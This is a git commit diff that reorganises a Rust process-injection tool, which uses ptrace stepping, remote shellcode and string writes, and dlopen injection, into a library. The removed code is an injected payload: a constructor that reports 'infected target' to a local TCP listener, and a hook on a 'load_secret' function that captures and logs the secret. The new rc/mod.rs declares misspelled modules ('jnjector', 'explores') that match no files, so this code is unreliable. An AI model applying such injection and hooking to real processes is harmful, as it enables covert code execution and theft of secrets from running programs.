chore: cleanup for library: structure and features
This commit is contained in:
parent
875c12cf43
commit
8b79c47b2f
14 changed files with 75 additions and 172 deletions
12
Cargo.toml
12
Cargo.toml
|
@ -10,16 +10,20 @@ path = "src/lib.rs"
|
|||
[[bin]]
|
||||
name = "needle"
|
||||
path = "src/needle/main.rs"
|
||||
required-features = ["bin"]
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
clap = { version = "4.1.13", features = ["derive"] }
|
||||
ctor = "0.1.26"
|
||||
retour = "0.1" # plain detour doesn't work on latest nightly? idk
|
||||
elf = "0.7.2"
|
||||
nix = "0.26.2"
|
||||
retour = "0.1" # plain detour doesn't work on latest nightly? idk
|
||||
proc-maps = "0.3.0"
|
||||
libloading = "0.7.4"
|
||||
tracing = "0.1.37"
|
||||
tracing-subscriber = "0.3.16"
|
||||
nix = { version = "0.26.2", optional = true }
|
||||
clap = { version = "4.1.13", features = ["derive"], optional = true }
|
||||
|
||||
[features]
|
||||
rc = ["dep:nix"]
|
||||
bin = ["rc", "dep:clap"]
|
||||
|
|
34
src/hooks.rs
34
src/hooks.rs
|
@ -1,34 +0,0 @@
|
|||
use std::ffi::c_int;
|
||||
|
||||
use retour::static_detour;
|
||||
use tracing::info;
|
||||
|
||||
use crate::locators::find_symbol;
|
||||
|
||||
static_detour! {
|
||||
static HOOK : unsafe extern "C" fn() -> c_int;
|
||||
}
|
||||
|
||||
pub fn add_hooks() -> Result<(), Box<dyn std::error::Error>> {
|
||||
if let Some(ptr) = find_symbol("load_secret")? {
|
||||
unsafe {
|
||||
HOOK.initialize(ptr, cb::hook)?;
|
||||
HOOK.enable()?;
|
||||
}
|
||||
info!("installed hook on 'load_secret'");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
mod cb {
|
||||
use tracing::info;
|
||||
|
||||
use super::HOOK;
|
||||
|
||||
pub fn hook() -> i32 {
|
||||
let secret = unsafe { HOOK.call() };
|
||||
info!("( ͡° ͜ʖ ͡°) its {}", secret);
|
||||
secret
|
||||
}
|
||||
}
|
31
src/lib.rs
31
src/lib.rs
|
@ -1,32 +1,5 @@
|
|||
pub mod locators;
|
||||
pub mod hooks;
|
||||
pub mod tricks;
|
||||
|
||||
use std::{net::TcpStream, sync::Mutex};
|
||||
|
||||
use tracing::{info, error};
|
||||
|
||||
use crate::hooks::add_hooks;
|
||||
|
||||
|
||||
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
|
||||
fn constructor() {
|
||||
std::thread::spawn(|| {
|
||||
match TcpStream::connect("127.0.0.1:13337") {
|
||||
Ok(stream) => tracing_subscriber::fmt()
|
||||
.with_writer(Mutex::new(stream))
|
||||
.init(),
|
||||
Err(_) => {},
|
||||
}
|
||||
|
||||
info!(target: "tetanus", "infected target");
|
||||
|
||||
if let Err(e) = add_hooks() {
|
||||
error!(target: "tetanus", "could not add hooks : {}", e);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
#[ctor::dtor]
|
||||
fn destructor() {}
|
||||
|
||||
#[cfg(feature = "rc")]
|
||||
pub mod rc;
|
||||
|
|
|
@ -19,7 +19,7 @@ pub fn find_symbol<T : Function>(name: &str) -> Result<Option<T>, Box<dyn Error>
|
|||
// try to read it from executable's elf
|
||||
match find_argv0() {
|
||||
None => warn!("could not find argv0 for process"),
|
||||
Some(exec) => match procmaps::map_addr_path(&exec)? {
|
||||
Some(exec) => match procmaps::map_addr_path(std::process::id() as i32, &exec)? {
|
||||
None => warn!("could not find base addr of process image"),
|
||||
Some((base, path)) => match exec::offset_in_elf(&path, &name)? {
|
||||
None => warn!("could not locate requested symbol in ELF"),
|
||||
|
@ -90,8 +90,8 @@ pub mod procmaps {
|
|||
|
||||
use crate::tricks::fmt_path;
|
||||
|
||||
pub fn map_addr_path(name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
|
||||
let proc_maps = get_process_maps(std::process::id() as i32)?;
|
||||
pub fn map_addr_path(pid: i32, name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
|
||||
let proc_maps = get_process_maps(pid)?;
|
||||
|
||||
for map in proc_maps {
|
||||
debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename()));
|
||||
|
|
|
@ -1,66 +0,0 @@
|
|||
use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}};
|
||||
|
||||
use elf::{ElfBytes, endian::AnyEndian};
|
||||
use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}};
|
||||
use proc_maps::get_process_maps;
|
||||
|
||||
pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
|
||||
let mut registers;
|
||||
let mut addr;
|
||||
let mut instructions;
|
||||
|
||||
// seek to syscall
|
||||
loop {
|
||||
registers = ptrace::getregs(pid)?;
|
||||
addr = registers.rip as usize;
|
||||
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
||||
|
||||
if instructions & 0xFFFF == 0x050F {
|
||||
return Ok(addr);
|
||||
}
|
||||
|
||||
ptrace::step(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
}
|
||||
}
|
||||
|
||||
fn _path_to_str<'a>(p: Option<&'a Path>) -> &'a str {
|
||||
match p {
|
||||
Some(path) => {
|
||||
match path.to_str() {
|
||||
Some(s) => s,
|
||||
None => "?",
|
||||
}
|
||||
},
|
||||
None => "",
|
||||
}
|
||||
}
|
||||
|
||||
pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> {
|
||||
let proc_maps = get_process_maps(pid.as_raw())?;
|
||||
|
||||
for map in proc_maps {
|
||||
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
|
||||
return Ok((
|
||||
map.start() - map.offset,
|
||||
map.filename().expect("matched empty option?").to_path_buf()
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
Err(Error::new(ErrorKind::NotFound, "no libc in target proc maps"))
|
||||
}
|
||||
|
||||
pub fn find_dlopen(path: &Path) -> std::io::Result<usize> {
|
||||
let libc = std::fs::read(path).expect("could not read libc");
|
||||
let headers = ElfBytes::<AnyEndian>::minimal_parse(&libc).expect("failed parsing libc as ELF");
|
||||
let common = headers.find_common_data().expect("shdrs should parse");
|
||||
let dynsyms = common.dynsyms.unwrap();
|
||||
let strtab = common.dynsyms_strs.unwrap();
|
||||
let hash_table = common.sysv_hash.unwrap();
|
||||
let (_id, dlopen) = hash_table.find(b"dlopen", &dynsyms, &strtab)
|
||||
.expect("could not parse symbols hash table")
|
||||
.expect("could not find dlopen symbol");
|
||||
|
||||
return Ok(dlopen.st_value as usize);
|
||||
}
|
|
@ -1,23 +1,17 @@
|
|||
mod syscalls;
|
||||
mod executors;
|
||||
mod senders;
|
||||
mod injector;
|
||||
mod explorers;
|
||||
mod monitor;
|
||||
|
||||
use std::path::PathBuf;
|
||||
|
||||
use injector::RemoteOperation;
|
||||
use monitor::monitor_payload;
|
||||
use tracing::{metadata::LevelFilter, info, error};
|
||||
|
||||
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
||||
use clap::Parser;
|
||||
|
||||
use executors::RemoteShellcode;
|
||||
use senders::RemoteString;
|
||||
use explorers::step_to_syscall;
|
||||
use tracing::{metadata::LevelFilter, info, error};
|
||||
use rustyneedle::{
|
||||
injector::RemoteOperation, executors::RemoteShellcode,
|
||||
senders::RemoteString, syscalls::RemoteExit,
|
||||
explorers::step_to_syscall,
|
||||
};
|
||||
|
||||
use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit};
|
||||
mod monitor;
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
|
@ -152,7 +146,7 @@ fn main() {
|
|||
}
|
||||
|
||||
if monitor {
|
||||
monitor_payload();
|
||||
monitor::listen_logs();
|
||||
}
|
||||
|
||||
}
|
||||
|
|
|
@ -2,7 +2,7 @@ use std::net::TcpListener;
|
|||
|
||||
use tracing::info;
|
||||
|
||||
pub fn monitor_payload() {
|
||||
pub fn listen_logs() {
|
||||
info!("listening for logs from injected payload ...");
|
||||
if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") {
|
||||
if let Ok((mut stream, addr)) = listener.accept() {
|
||||
|
|
25
src/rc/explorers.rs
Normal file
25
src/rc/explorers.rs
Normal file
|
@ -0,0 +1,25 @@
|
|||
use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}};
|
||||
|
||||
use elf::{ElfBytes, endian::AnyEndian};
|
||||
use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}};
|
||||
use proc_maps::get_process_maps;
|
||||
|
||||
pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
|
||||
let mut registers;
|
||||
let mut addr;
|
||||
let mut instructions;
|
||||
|
||||
// seek to syscall
|
||||
loop {
|
||||
registers = ptrace::getregs(pid)?;
|
||||
addr = registers.rip as usize;
|
||||
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
||||
|
||||
if instructions & 0xFFFF == 0x050F {
|
||||
return Ok(addr);
|
||||
}
|
||||
|
||||
ptrace::step(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
}
|
||||
}
|
7
src/rc/mod.rs
Normal file
7
src/rc/mod.rs
Normal file
|
@ -0,0 +1,7 @@
|
|||
mod jnjector;
|
||||
|
||||
mod executors;
|
||||
mod explores;
|
||||
mod senders;
|
||||
|
||||
mod syscalls;
|
|
@ -1,4 +1,4 @@
|
|||
use std::{ffi::c_void, fmt::Display, mem::size_of};
|
||||
use std::{ffi::c_void, mem::size_of};
|
||||
|
||||
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
|
||||
use tracing::{debug, info};
|
||||
|
@ -7,25 +7,6 @@ use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}};
|
|||
|
||||
const WORD_SIZE : usize = size_of::<usize>();
|
||||
|
||||
pub struct ByteVec(pub Vec<u8>);
|
||||
|
||||
impl From<Vec<u8>> for ByteVec {
|
||||
fn from(value: Vec<u8>) -> Self {
|
||||
ByteVec(value)
|
||||
}
|
||||
}
|
||||
|
||||
impl Display for ByteVec {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[ ")?;
|
||||
for el in self.0.iter() {
|
||||
write!(f, "0x{:x} ", el)?;
|
||||
}
|
||||
write!(f, "]")?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(unused)]
|
||||
pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> {
|
||||
let mut out = vec![];
|
|
@ -1,3 +1,22 @@
|
|||
pub struct ByteVec(pub Vec<u8>);
|
||||
|
||||
impl From<Vec<u8>> for ByteVec {
|
||||
fn from(value: Vec<u8>) -> Self {
|
||||
ByteVec(value)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ByteVec {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[ ")?;
|
||||
for el in self.0.iter() {
|
||||
write!(f, "0x{:x} ", el)?;
|
||||
}
|
||||
write!(f, "]")?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member
|
||||
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue